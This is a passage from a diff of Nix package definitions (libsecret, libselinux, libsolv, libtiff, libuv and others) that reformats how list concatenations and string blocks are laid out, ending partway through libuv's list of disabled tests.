-    ++ lib.optionals abrmdSupport [ tpm2-abrmd ];
+  buildInputs = [
+    libgcrypt
+  ]
+  ++ lib.optionals withTpm2Tss [ tpm2-tss ]
+  ++ lib.optionals abrmdSupport [ tpm2-abrmd ];
 
   propagatedBuildInputs = [
     glib
@@ -149,29 +148,28 @@ stdenv.mkDerivation rec {
     mesonFlagsArray+=("-Dc_link_args=-Wl,--push-state,--no-as-needed -ltss2-tcti-tabrmd -ltss2-tcti-device -Wl,--pop-state")
   '';
 
-  preCheck =
-    ''
-      # Our gobject-introspection patches make the shared library paths absolute
-      # in the GIR files. When running tests, the library is not yet installed,
-      # though, so we need to replace the absolute path with a local one during build.
-      # We are using a symlink that will be overwitten during installation.
-      mkdir -p $out/lib $out/lib
-      ln -s "$PWD/libsecret/libmock-service.so" "$out/lib/libmock-service.so"
-      ln -s "$PWD/libsecret/libsecret-1.so.0" "$out/lib/libsecret-1.so.0"
-    ''
-    + lib.optionalString (withTpm2Tss && !abrmdSupport) ''
-      # If abrmdSupport is disabled, the user‐space resource manager TCTI
-      # module is not linked at compile time. It is however needed during
-      # testing because the TPM emulator lacks an integrated resource manager
-      # The module path is therefore injected temporarly using the
-      # LD_LIBRARY_PATH environment variable, so that it may be found by
-      # dlopen().
-      #
-      # If abrmdSupport is enabled, this is avoided to check that the
-      # module has been properly linked and can be located through the
-      # DT_RUNPATH and DT_NEEDED entries in libsecret-1.so.
-      export LD_LIBRARY_PATH+=":${lib.makeLibraryPath [ tpm2-abrmd ]}"
-    '';
+  preCheck = ''
+    # Our gobject-introspection patches make the shared library paths absolute
+    # in the GIR files. When running tests, the library is not yet installed,
+    # though, so we need to replace the absolute path with a local one during build.
+    # We are using a symlink that will be overwitten during installation.
+    mkdir -p $out/lib $out/lib
+    ln -s "$PWD/libsecret/libmock-service.so" "$out/lib/libmock-service.so"
+    ln -s "$PWD/libsecret/libsecret-1.so.0" "$out/lib/libsecret-1.so.0"
+  ''
+  + lib.optionalString (withTpm2Tss && !abrmdSupport) ''
+    # If abrmdSupport is disabled, the user‐space resource manager TCTI
+    # module is not linked at compile time. It is however needed during
+    # testing because the TPM emulator lacks an integrated resource manager
+    # The module path is therefore injected temporarly using the
+    # LD_LIBRARY_PATH environment variable, so that it may be found by
+    # dlopen().
+    #
+    # If abrmdSupport is enabled, this is avoided to check that the
+    # module has been properly linked and can be located through the
+    # DT_RUNPATH and DT_NEEDED entries in libsecret-1.so.
+    export LD_LIBRARY_PATH+=":${lib.makeLibraryPath [ tpm2-abrmd ]}"
+  '';
 
   checkPhase = ''
     runHook preCheck
diff --git a/pkgs/by-name/li/libselinux/package.nix b/pkgs/by-name/li/libselinux/package.nix
index 9c799e0199bc..b893700936e3 100644
--- a/pkgs/by-name/li/libselinux/package.nix
+++ b/pkgs/by-name/li/libselinux/package.nix
@@ -25,7 +25,8 @@ stdenv.mkDerivation (finalAttrs: {
     "out"
     "dev"
     "man"
-  ] ++ lib.optional enablePython "py";
+  ]
+  ++ lib.optional enablePython "py";
 
   src = fetchurl {
     url = "${finalAttrs.se_url}/${finalAttrs.version}/libselinux-${finalAttrs.version}.tar.gz";
@@ -64,62 +65,60 @@ stdenv.mkDerivation (finalAttrs: {
     ./fix-build-32bit-lfs.patch
   ];
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      python3
-    ]
-    ++ lib.optionals enablePython [
-      python3Packages.pip
-      python3Packages.setuptools
-      python3Packages.wheel
-      swig
-    ];
+  nativeBuildInputs = [
+    pkg-config
+    python3
+  ]
+  ++ lib.optionals enablePython [
+    python3Packages.pip
+    python3Packages.setuptools
+    python3Packages.wheel
+    swig
+  ];
   buildInputs = [
     libsepol
     pcre2
     fts
-  ] ++ lib.optionals enablePython [ python3 ];
+  ]
+  ++ lib.optionals enablePython [ python3 ];
 
   # drop fortify here since package uses it by default, leading to compile error:
   # command-line>:0:0: error: "_FORTIFY_SOURCE" redefined [-Werror]
   hardeningDisable = [ "fortify" ];
 
-  env =
-    {
-      NIX_CFLAGS_COMPILE = "-Wno-error -D_FILE_OFFSET_BITS=64";
-    }
-    // lib.optionalAttrs
-      (stdenv.cc.bintools.isLLVM && lib.versionAtLeast stdenv.cc.bintools.version "17")
+  env = {
+    NIX_CFLAGS_COMPILE = "-Wno-error -D_FILE_OFFSET_BITS=64";
+  }
+  //
+    lib.optionalAttrs (stdenv.cc.bintools.isLLVM && lib.versionAtLeast stdenv.cc.bintools.version "17")
       {
         NIX_LDFLAGS = "--undefined-version";
       };
 
-  makeFlags =
-    [
-      "PREFIX=$(out)"
-      "INCDIR=$(dev)/include/selinux"
-      "INCLUDEDIR=$(dev)/include"
-      "MAN3DIR=$(man)/share/man/man3"
-      "MAN5DIR=$(man)/share/man/man5"
-      "MAN8DIR=$(man)/share/man/man8"
-      "SBINDIR=$(bin)/sbin"
-      "SHLIBDIR=$(out)/lib"
+  makeFlags = [
+    "PREFIX=$(out)"
+    "INCDIR=$(dev)/include/selinux"
+    "INCLUDEDIR=$(dev)/include"
+    "MAN3DIR=$(man)/share/man/man3"
+    "MAN5DIR=$(man)/share/man/man5"
+    "MAN8DIR=$(man)/share/man/man8"
+    "SBINDIR=$(bin)/sbin"
+    "SHLIBDIR=$(out)/lib"
 
-      "LIBSEPOLA=${lib.getLib libsepol}/lib/libsepol.a"
-      "ARCH=${stdenv.hostPlatform.linuxArch}"
-    ]
-    ++ lib.optionals (fts != null) [
-      "FTS_LDLIBS=-lfts"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isStatic [
-      "DISABLE_SHARED=y"
-    ]
-    ++ lib.optionals enablePython [
-      "PYTHON=${python3.pythonOnBuildForHost.interpreter}"
-      "PYTHONLIBDIR=$(py)/${python3.sitePackages}"
-      "PYTHON_SETUP_ARGS=--no-build-isolation"
-    ];
+    "LIBSEPOLA=${lib.getLib libsepol}/lib/libsepol.a"
+    "ARCH=${stdenv.hostPlatform.linuxArch}"
+  ]
+  ++ lib.optionals (fts != null) [
+    "FTS_LDLIBS=-lfts"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isStatic [
+    "DISABLE_SHARED=y"
+  ]
+  ++ lib.optionals enablePython [
+    "PYTHON=${python3.pythonOnBuildForHost.interpreter}"
+    "PYTHONLIBDIR=$(py)/${python3.sitePackages}"
+    "PYTHON_SETUP_ARGS=--no-build-isolation"
+  ];
 
   preInstall = lib.optionalString enablePython ''
     mkdir -p $py/${python3.sitePackages}/selinux
diff --git a/pkgs/by-name/li/libsemanage/package.nix b/pkgs/by-name/li/libsemanage/package.nix
index 277d7d5238b3..9b97ce3d3b3b 100644
--- a/pkgs/by-name/li/libsemanage/package.nix
+++ b/pkgs/by-name/li/libsemanage/package.nix
@@ -28,27 +28,28 @@ stdenv.mkDerivation rec {
     "out"
     "dev"
     "man"
-  ] ++ lib.optional enablePython "py";
+  ]
+  ++ lib.optional enablePython "py";
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      bison
-      flex
-      pkg-config
-    ]
-    ++ lib.optionals enablePython [
-      python3
-      swig
-    ];
+  nativeBuildInputs = [
+    bison
+    flex
+    pkg-config
+  ]
+  ++ lib.optionals enablePython [
+    python3
+    swig
+  ];
 
   buildInputs = [
     libsepol
     libselinux
     bzip2
     audit
-  ] ++ lib.optional enablePython python3;
+  ]
+  ++ lib.optional enablePython python3;
 
   makeFlags = [
     "PREFIX=$(out)"
diff --git a/pkgs/by-name/li/libsidplayfp/package.nix b/pkgs/by-name/li/libsidplayfp/package.nix
index 6e26145bfbea..a61869dfdc01 100644
--- a/pkgs/by-name/li/libsidplayfp/package.nix
+++ b/pkgs/by-name/li/libsidplayfp/package.nix
@@ -37,17 +37,16 @@ stdenv.mkDerivation (finalAttrs: {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      autoreconfHook
-      perl
-      pkg-config
-      xa
-    ]
-    ++ lib.optionals docSupport [
-      doxygen
-      graphviz
-    ];
+  nativeBuildInputs = [
+    autoreconfHook
+    perl
+    pkg-config
+    xa
+  ]
+  ++ lib.optionals docSupport [
+    doxygen
+    graphviz
+  ];
 
   buildInputs = [
     libexsid
diff --git a/pkgs/by-name/li/libsignal-ffi/package.nix b/pkgs/by-name/li/libsignal-ffi/package.nix
index 9017d7d13b83..e3096d8360a6 100644
--- a/pkgs/by-name/li/libsignal-ffi/package.nix
+++ b/pkgs/by-name/li/libsignal-ffi/package.nix
@@ -34,7 +34,8 @@ rustPlatform.buildRustPackage rec {
   nativeBuildInputs = [
     protobuf
     rustPlatform.bindgenHook
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ xcodebuild ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ xcodebuild ];
 
   env.BORING_BSSL_PATH = "${boringssl-wrapper}";
   env.NIX_LDFLAGS = if stdenv.hostPlatform.isDarwin then "-lc++" else "-lstdc++";
diff --git a/pkgs/by-name/li/libsnark/package.nix b/pkgs/by-name/li/libsnark/package.nix
index 199ab79c169b..52871ae2f69b 100644
--- a/pkgs/by-name/li/libsnark/package.nix
+++ b/pkgs/by-name/li/libsnark/package.nix
@@ -23,7 +23,8 @@ stdenv.mkDerivation {
     openssl
     boost
     gmp
-  ] ++ lib.optional withProcps procps;
+  ]
+  ++ lib.optional withProcps procps;
 
   cmakeFlags =
     lib.optionals (!withProcps) [ "-DWITH_PROCPS=OFF" ]
diff --git a/pkgs/by-name/li/libsndfile/package.nix b/pkgs/by-name/li/libsndfile/package.nix
index dd7e36b7da31..5e8fd55701bd 100644
--- a/pkgs/by-name/li/libsndfile/package.nix
+++ b/pkgs/by-name/li/libsndfile/package.nix
@@ -48,7 +48,8 @@ stdenv.mkDerivation rec {
     libogg
     libopus
     libvorbis
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ alsa-lib ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ alsa-lib ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/li/libsolv/package.nix b/pkgs/by-name/li/libsolv/package.nix
index 25103bd9523c..d6c88041e450 100644
--- a/pkgs/by-name/li/libsolv/package.nix
+++ b/pkgs/by-name/li/libsolv/package.nix
@@ -28,23 +28,22 @@ stdenv.mkDerivation rec {
     hash = "sha256-2cvba2S/3CR+3sMLVEnmTxWYTQSAYZoUIoQHr+GZnyY=";
   };
 
-  cmakeFlags =
-    [
-      "-DENABLE_COMPLEX_DEPS=true"
-      (lib.cmakeBool "ENABLE_CONDA" withConda)
-      "-DENABLE_LZMA_COMPRESSION=true"
-      "-DENABLE_BZIP2_COMPRESSION=true"
-      "-DENABLE_ZSTD_COMPRESSION=true"
-      "-DENABLE_ZCHUNK_COMPRESSION=true"
-      "-DWITH_SYSTEM_ZCHUNK=true"
-    ]
-    ++ lib.optionals withRpm [
-      "-DENABLE_COMPS=true"
-      "-DENABLE_PUBKEY=true"
-      "-DENABLE_RPMDB=true"
-      "-DENABLE_RPMDB_BYRPMHEADER=true"
-      "-DENABLE_RPMMD=true"
-    ];
+  cmakeFlags = [
+    "-DENABLE_COMPLEX_DEPS=true"
+    (lib.cmakeBool "ENABLE_CONDA" withConda)
+    "-DENABLE_LZMA_COMPRESSION=true"
+    "-DENABLE_BZIP2_COMPRESSION=true"
+    "-DENABLE_ZSTD_COMPRESSION=true"
+    "-DENABLE_ZCHUNK_COMPRESSION=true"
+    "-DWITH_SYSTEM_ZCHUNK=true"
+  ]
+  ++ lib.optionals withRpm [
+    "-DENABLE_COMPS=true"
+    "-DENABLE_PUBKEY=true"
+    "-DENABLE_RPMDB=true"
+    "-DENABLE_RPMDB_BYRPMHEADER=true"
+    "-DENABLE_RPMMD=true"
+  ];
 
   nativeBuildInputs = [
     cmake
@@ -59,7 +58,8 @@ stdenv.mkDerivation rec {
     zstd
     expat
     db
-  ] ++ lib.optional withRpm rpm;
+  ]
+  ++ lib.optional withRpm rpm;
 
   meta = with lib; {
     description = "Free package dependency solver";
diff --git a/pkgs/by-name/li/libsoundio/package.nix b/pkgs/by-name/li/libsoundio/package.nix
index 4c8c5fbf49a6..b7c1167cd72c 100644
--- a/pkgs/by-name/li/libsoundio/package.nix
+++ b/pkgs/by-name/li/libsoundio/package.nix
@@ -21,12 +21,13 @@ stdenv.mkDerivation rec {
 
   nativeBuildInputs = [ cmake ];
 
-  buildInputs =
-    [ libjack2 ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libpulseaudio
-      alsa-lib
-    ];
+  buildInputs = [
+    libjack2
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libpulseaudio
+    alsa-lib
+  ];
 
   cmakeFlags = lib.optionals stdenv.hostPlatform.isDarwin [
     "-DBUILD_TESTS=OFF"
diff --git a/pkgs/by-name/li/libspatialite/package.nix b/pkgs/by-name/li/libspatialite/package.nix
index 3e6fe92078ab..483c54c33917 100644
--- a/pkgs/by-name/li/libspatialite/package.nix
+++ b/pkgs/by-name/li/libspatialite/package.nix
@@ -48,20 +48,19 @@ stdenv.mkDerivation (finalAttrs: {
     geos # for geos-config
   ];
 
-  buildInputs =
-    [
-      freexl
-      geos
-      librttopo
-      libxml2
-      minizip
-      proj
-      sqlite
-      zlib
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    freexl
+    geos
+    librttopo
+    libxml2
+    minizip
+    proj
+    sqlite
+    zlib
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/li/libspnav/package.nix b/pkgs/by-name/li/libspnav/package.nix
index 7937320acfda..45f5a95c163b 100644
--- a/pkgs/by-name/li/libspnav/package.nix
+++ b/pkgs/by-name/li/libspnav/package.nix
@@ -19,15 +19,14 @@ stdenv.mkDerivation rec {
   buildInputs = [ libX11 ];
 
   configureFlags = [ "--disable-debug" ];
-  makeFlags =
-    [
-      "CC=${stdenv.cc.targetPrefix}cc"
-      "AR=${stdenv.cc.targetPrefix}ar"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "shared=-dynamiclib"
-      "shared+=-Wl,-install_name,$(out)/lib/$(lib_so)"
-    ];
+  makeFlags = [
+    "CC=${stdenv.cc.targetPrefix}cc"
+    "AR=${stdenv.cc.targetPrefix}ar"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "shared=-dynamiclib"
+    "shared+=-Wl,-install_name,$(out)/lib/$(lib_so)"
+  ];
 
   preInstall = ''
     mkdir -p $out/{lib,include}
diff --git a/pkgs/by-name/li/libstemmer/package.nix b/pkgs/by-name/li/libstemmer/package.nix
index 2df64013e2b6..b3bc59115d26 100644
--- a/pkgs/by-name/li/libstemmer/package.nix
+++ b/pkgs/by-name/li/libstemmer/package.nix
@@ -19,14 +19,13 @@ stdenv.mkDerivation rec {
 
   nativeBuildInputs = [ perl ];
 
-  prePatch =
-    ''
-      patchShebangs .
-    ''
-    + lib.optionalString (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      substituteInPlace GNUmakefile \
-        --replace './snowball' '${lib.getBin buildPackages.libstemmer}/bin/snowball'
-    '';
+  prePatch = ''
+    patchShebangs .
+  ''
+  + lib.optionalString (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    substituteInPlace GNUmakefile \
+      --replace './snowball' '${lib.getBin buildPackages.libstemmer}/bin/snowball'
+  '';
 
   makeTarget = "libstemmer.a";
 
diff --git a/pkgs/by-name/li/libtapi/package.nix b/pkgs/by-name/li/libtapi/package.nix
index 012ed846b96a..fafa79593590 100644
--- a/pkgs/by-name/li/libtapi/package.nix
+++ b/pkgs/by-name/li/libtapi/package.nix
@@ -59,37 +59,36 @@ stdenv.mkDerivation (finalAttrs: {
     ./0003-Match-designator-order-with-declaration-order.patch
   ];
 
-  postPatch =
-    ''
-      # Enable building on non-Darwin platforms
-      substituteInPlace tapi/CMakeLists.txt \
-        --replace-fail 'message(FATAL_ERROR "Unsupported configuration.")' ""
+  postPatch = ''
+    # Enable building on non-Darwin platforms
+    substituteInPlace tapi/CMakeLists.txt \
+      --replace-fail 'message(FATAL_ERROR "Unsupported configuration.")' ""
 
-      # Remove the client limitation on linking to libtapi.dylib.
-      substituteInPlace tapi/tools/libtapi/CMakeLists.txt \
-        --replace-fail '-allowable_client ld' ""
-      # Replace hard-coded installation paths with standard ones.
-      declare -A installdirs=(
-        [bin]=BINDIR
-        [include]=INCLUDEDIR
-        [lib]=LIBDIR
-        [local/bin]=BINDIR
-        [local/share/man]=MANDIR
-        [share/man]=MANDIR
-      )
-      for dir in "''${!installdirs[@]}"; do
-        cmakevar=CMAKE_INSTALL_''${installdirs[$dir]}
-        for cmakelist in $(grep -rl "DESTINATION $dir" tapi); do
-          substituteInPlace "$cmakelist" \
-            --replace-fail "DESTINATION $dir" "DESTINATION \''${$cmakevar}"
-        done
+    # Remove the client limitation on linking to libtapi.dylib.
+    substituteInPlace tapi/tools/libtapi/CMakeLists.txt \
+      --replace-fail '-allowable_client ld' ""
+    # Replace hard-coded installation paths with standard ones.
+    declare -A installdirs=(
+      [bin]=BINDIR
+      [include]=INCLUDEDIR
+      [lib]=LIBDIR
+      [local/bin]=BINDIR
+      [local/share/man]=MANDIR
+      [share/man]=MANDIR
+    )
+    for dir in "''${!installdirs[@]}"; do
+      cmakevar=CMAKE_INSTALL_''${installdirs[$dir]}
+      for cmakelist in $(grep -rl "DESTINATION $dir" tapi); do
+        substituteInPlace "$cmakelist" \
+          --replace-fail "DESTINATION $dir" "DESTINATION \''${$cmakevar}"
       done
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      # Remove Darwin-specific versioning flags.
-      substituteInPlace tapi/tools/libtapi/CMakeLists.txt \
-          --replace-fail '-current_version ''${DYLIB_VERSION} -compatibility_version 1' ""
-    '';
+    done
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    # Remove Darwin-specific versioning flags.
+    substituteInPlace tapi/tools/libtapi/CMakeLists.txt \
+        --replace-fail '-current_version ''${DYLIB_VERSION} -compatibility_version 1' ""
+  '';
 
   preUnpack = ''
     mkdir source
diff --git a/pkgs/by-name/li/libtheora/package.nix b/pkgs/by-name/li/libtheora/package.nix
index 74c5b0691a9a..f372aada393a 100644
--- a/pkgs/by-name/li/libtheora/package.nix
+++ b/pkgs/by-name/li/libtheora/package.nix
@@ -37,16 +37,15 @@ stdenv.mkDerivation (finalAttrs: {
   ];
   outputDoc = "devdoc";
 
-  nativeBuildInputs =
-    [
-      autoreconfHook
-      pkg-config
-      validatePkgConfig
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isArmv7 [
-      # Needed to run lib/arm/arm2gnu.pl for ARM assembly optimizations
-      perl
-    ];
+  nativeBuildInputs = [
+    autoreconfHook
+    pkg-config
+    validatePkgConfig
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isArmv7 [
+    # Needed to run lib/arm/arm2gnu.pl for ARM assembly optimizations
+    perl
+  ];
 
   propagatedBuildInputs = [
     libogg
diff --git a/pkgs/by-name/li/libticalcs2/package.nix b/pkgs/by-name/li/libticalcs2/package.nix
index 4d488f260ef1..85e80afb0457 100644
--- a/pkgs/by-name/li/libticalcs2/package.nix
+++ b/pkgs/by-name/li/libticalcs2/package.nix
@@ -26,18 +26,17 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      glib
-      libticonv
-      libtifiles2
-      libticables2
-      xz
-      bzip2
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      acl
-    ];
+  buildInputs = [
+    glib
+    libticonv
+    libtifiles2
+    libticables2
+    xz
+    bzip2
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    acl
+  ];
 
   meta = with lib; {
     changelog = "http://lpg.ticalc.org/prj_tilp/news.html";
diff --git a/pkgs/by-name/li/libticonv/package.nix b/pkgs/by-name/li/libticonv/package.nix
index 5ef5348b7947..677c9dce7c29 100644
--- a/pkgs/by-name/li/libticonv/package.nix
+++ b/pkgs/by-name/li/libticonv/package.nix
@@ -26,7 +26,8 @@ stdenv.mkDerivation rec {
 
   configureFlags = [
     "--enable-iconv"
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin "LDFLAGS=-liconv";
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin "LDFLAGS=-liconv";
 
   meta = with lib; {
     changelog = "http://lpg.ticalc.org/prj_tilp/news.html";
diff --git a/pkgs/by-name/li/libtiff/package.nix b/pkgs/by-name/li/libtiff/package.nix
index 8018672a7f3f..c73dfa2d0c94 100644
--- a/pkgs/by-name/li/libtiff/package.nix
+++ b/pkgs/by-name/li/libtiff/package.nix
@@ -83,13 +83,12 @@ stdenv.mkDerivation (finalAttrs: {
     sphinx
   ];
 
-  buildInputs =
-    [
-      zstd
-    ]
-    ++ lib.optionals withLerc [
-      lerc
-    ];
+  buildInputs = [
+    zstd
+  ]
+  ++ lib.optionals withLerc [
+    lerc
+  ];
 
   # TODO: opengl support (bogus configure detection)
   propagatedBuildInputs = [
diff --git a/pkgs/by-name/li/libtoxcore/package.nix b/pkgs/by-name/li/libtoxcore/package.nix
index 41d60e68363f..a24ea4588357 100644
--- a/pkgs/by-name/li/libtoxcore/package.nix
+++ b/pkgs/by-name/li/libtoxcore/package.nix
@@ -29,18 +29,18 @@ stdenv.mkDerivation rec {
   cmakeFlags = [
     "-DDHT_BOOTSTRAP=ON"
     "-DBOOTSTRAP_DAEMON=ON"
-  ] ++ lib.optional buildToxAV "-DMUST_BUILD_TOXAV=ON";
+  ]
+  ++ lib.optional buildToxAV "-DMUST_BUILD_TOXAV=ON";
 
-  buildInputs =
-    [
-      libsodium
-      ncurses
-      libconfig
-    ]
-    ++ lib.optionals buildToxAV [
-      libopus
-      libvpx
-    ];
+  buildInputs = [
+    libsodium
+    ncurses
+    libconfig
+  ]
+  ++ lib.optionals buildToxAV [
+    libopus
+    libvpx
+  ];
 
   nativeBuildInputs = [
     cmake
diff --git a/pkgs/by-name/li/libui/package.nix b/pkgs/by-name/li/libui/package.nix
index 0ee54f7c45a1..5f5430a72fca 100644
--- a/pkgs/by-name/li/libui/package.nix
+++ b/pkgs/by-name/li/libui/package.nix
@@ -36,28 +36,27 @@ stdenv.mkDerivation rec {
     sed -i 's/set(CMAKE_OSX_DEPLOYMENT_TARGET "10.8")//' ./CMakeLists.txt
   '';
 
-  installPhase =
-    ''
-      mkdir -p $out/{include,lib}
-      mkdir -p $out/lib/pkgconfig
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      mv ./out/libui.so.0 $out/lib/
-      ln -s $out/lib/libui.so.0 $out/lib/libui.so
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      mv ./out/libui.A.dylib $out/lib/
-      ln -s $out/lib/libui.A.dylib $out/lib/libui.dylib
-    ''
-    + ''
-      cp $src/ui.h $out/include
-      cp $src/ui_${backend}.h $out/include
+  installPhase = ''
+    mkdir -p $out/{include,lib}
+    mkdir -p $out/lib/pkgconfig
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    mv ./out/libui.so.0 $out/lib/
+    ln -s $out/lib/libui.so.0 $out/lib/libui.so
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    mv ./out/libui.A.dylib $out/lib/
+    ln -s $out/lib/libui.A.dylib $out/lib/libui.dylib
+  ''
+  + ''
+    cp $src/ui.h $out/include
+    cp $src/ui_${backend}.h $out/include
 
-      cp ${./libui.pc} $out/lib/pkgconfig/libui.pc
-      substituteInPlace $out/lib/pkgconfig/libui.pc \
-        --subst-var-by out $out \
-        --subst-var-by version "${version}"
-    '';
+    cp ${./libui.pc} $out/lib/pkgconfig/libui.pc
+    substituteInPlace $out/lib/pkgconfig/libui.pc \
+      --subst-var-by out $out \
+      --subst-var-by version "${version}"
+  '';
   postInstall = lib.optionalString stdenv.hostPlatform.isDarwin ''
     install_name_tool -id $out/lib/libui.A.dylib $out/lib/libui.A.dylib
   '';
diff --git a/pkgs/by-name/li/libusb1/package.nix b/pkgs/by-name/li/libusb1/package.nix
index 5a82af646da5..53f1333be0d2 100644
--- a/pkgs/by-name/li/libusb1/package.nix
+++ b/pkgs/by-name/li/libusb1/package.nix
@@ -27,12 +27,14 @@ stdenv.mkDerivation rec {
   outputs = [
     "out"
     "dev"
-  ] ++ lib.optionals withDocs [ "doc" ];
+  ]
+  ++ lib.optionals withDocs [ "doc" ];
 
   nativeBuildInputs = [
     pkg-config
     autoreconfHook
-  ] ++ lib.optionals withDocs [ doxygen ];
+  ]
+  ++ lib.optionals withDocs [ doxygen ];
   propagatedBuildInputs = lib.optional enableUdev udev;
 
   dontDisableStatic = withStatic;
diff --git a/pkgs/by-name/li/libusbsio/package.nix b/pkgs/by-name/li/libusbsio/package.nix
index d1b762b4e014..a489fccc59ee 100644
--- a/pkgs/by-name/li/libusbsio/package.nix
+++ b/pkgs/by-name/li/libusbsio/package.nix
@@ -26,22 +26,20 @@ stdenv.mkDerivation rec {
     "BINDIR="
   ];
 
-  nativeBuildInputs =
-    [
-      pkg-config
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      fixDarwinDylibNames
-    ];
+  nativeBuildInputs = [
+    pkg-config
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    fixDarwinDylibNames
+  ];
 
-  buildInputs =
-    [
-      libusb1
-    ]
+  buildInputs = [
+    libusb1
+  ]
 
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      systemdMinimal # libudev
-    ];
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    systemdMinimal # libudev
+  ];
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/by-name/li/libuv/package.nix b/pkgs/by-name/li/libuv/package.nix
index ccbcfc939ed6..d3810c5c9c57 100644
--- a/pkgs/by-name/li/libuv/package.nix
+++ b/pkgs/by-name/li/libuv/package.nix
@@ -41,103 +41,102 @@ stdenv.mkDerivation (finalAttrs: {
 
   postPatch =
     let
-      toDisable =
-        [
-          "getnameinfo_basic"
-          "udp_send_hang_loop" # probably network-dependent
-          "tcp_connect_timeout" # tries to reach out to 8.8.8.8
-          "spawn_setuid_fails"
-          "spawn_setgid_fails"
-          "fs_chown" # user namespaces
-          "getaddrinfo_fail"
-          "getaddrinfo_fail_sync"
-          "tcp_connect6_link_local"
-          "thread_affinity" # else "test must be run with cpu 0 affinity" when affinity is set
-          "threadpool_multiple_event_loops" # times out on slow machines
-          "get_passwd" # passed on NixOS but failed on other Linuxes
-          "tcp_writealot"
-          "udp_multicast_join"
-          "udp_multicast_join6"
-          "metrics_pool_events" # times out sometimes
-          "fs_fstat" # https://github.com/libuv/libuv/issues/2235#issuecomment-1012086927
+      toDisable = [
+        "getnameinfo_basic"
+        "udp_send_hang_loop" # probably network-dependent
+        "tcp_connect_timeout" # tries to reach out to 8.8.8.8
+        "spawn_setuid_fails"
+        "spawn_setgid_fails"
+        "fs_chown" # user namespaces
+        "getaddrinfo_fail"
+        "getaddrinfo_fail_sync"
+        "tcp_connect6_link_local"
+        "thread_affinity" # else "test must be run with cpu 0 affinity" when affinity is set
+        "threadpool_multiple_event_loops" # times out on slow machines
+        "get_passwd" # passed on NixOS but failed on other Linuxes
+        "tcp_writealot"
+        "udp_multicast_join"
+        "udp_multicast_join6"
+        "metrics_pool_events" # times out sometimes
+        "fs_fstat" # https://github.com/libuv/libuv/issues/2235#issuecomment-1012086927
 
-          # Assertion failed in test/test-tcp-bind6-error.c on line 60: r == UV_EADDRINUSE
-          # Assertion failed in test/test-tcp-bind-error.c on line 99: r == UV_EADDRINUSE
-          "tcp_bind6_error_addrinuse"
-          "tcp_bind_error_addrinuse_listen"
-          # https://github.com/libuv/libuv/pull/4075#issuecomment-1935572237
-          "thread_priority"
-        ]
-        ++ lib.optionals stdenv.hostPlatform.isDarwin [
-          # Sometimes: timeout (no output), failed uv_listen. Someone
-          # should report these failures to libuv team. There tests should
-          # be much more robust.
-          "process_title"
-          "emfile"
-          "poll_duplex"
-          "poll_unidirectional"
-          "ipc_listen_before_write"
-          "ipc_listen_after_write"
-          "ipc_tcp_connection"
-          "tcp_alloc_cb_fail"
-          "tcp_ping_pong"
-          "tcp_ref3"
-          "tcp_ref4"
-          "tcp_bind6_error_inval"
-          "tcp_read_stop"
-          "tcp_unexpected_read"
-          "tcp_write_to_half_open_connection"
-          "tcp_oob"
-          "tcp_close_accept"
-          "tcp_create_early_accept"
-          "tcp_create_early"
-          "tcp_close"
-          "tcp_bind_error_inval"
-          "tcp_bind_error_addrinuse"
-          "tcp_shutdown_after_write"
-          "tcp_open"
-          "tcp_write_queue_order"
-          "tcp_try_write"
-          "multiple_listen"
-          "delayed_accept"
-          "udp_recv_in_a_row"
-          "shutdown_close_tcp"
-          "shutdown_eof"
-          "shutdown_twice"
-          "callback_stack"
-          "tty_pty"
-          "condvar_5"
-          "hrtime"
-          # Tests that fail when sandboxing is enabled.
-          "fs_event_close_in_callback"
-          "fs_event_watch_dir"
-          "fs_event_error_reporting"
-          "fs_event_watch_dir_recursive"
-          "fs_event_watch_file"
-          "fs_event_watch_file_current_dir"
-          "fs_event_watch_file_exact_path"
-          "process_priority"
-          "udp_create_early_bad_bind"
-          "fs_event_watch_delete_dir"
-        ]
-        ++ lib.optionals (stdenv.hostPlatform.isDarwin && lib.versionOlder finalAttrs.version "1.49.3") [
-          # https://github.com/libuv/libuv/issues/4650
-          # can enable on upgrade from 1.49.2
-          "udp_mmsg"
-        ]
-        ++ lib.optionals stdenv.hostPlatform.isAarch32 [
-          # I observe this test failing with some regularity on ARMv7:
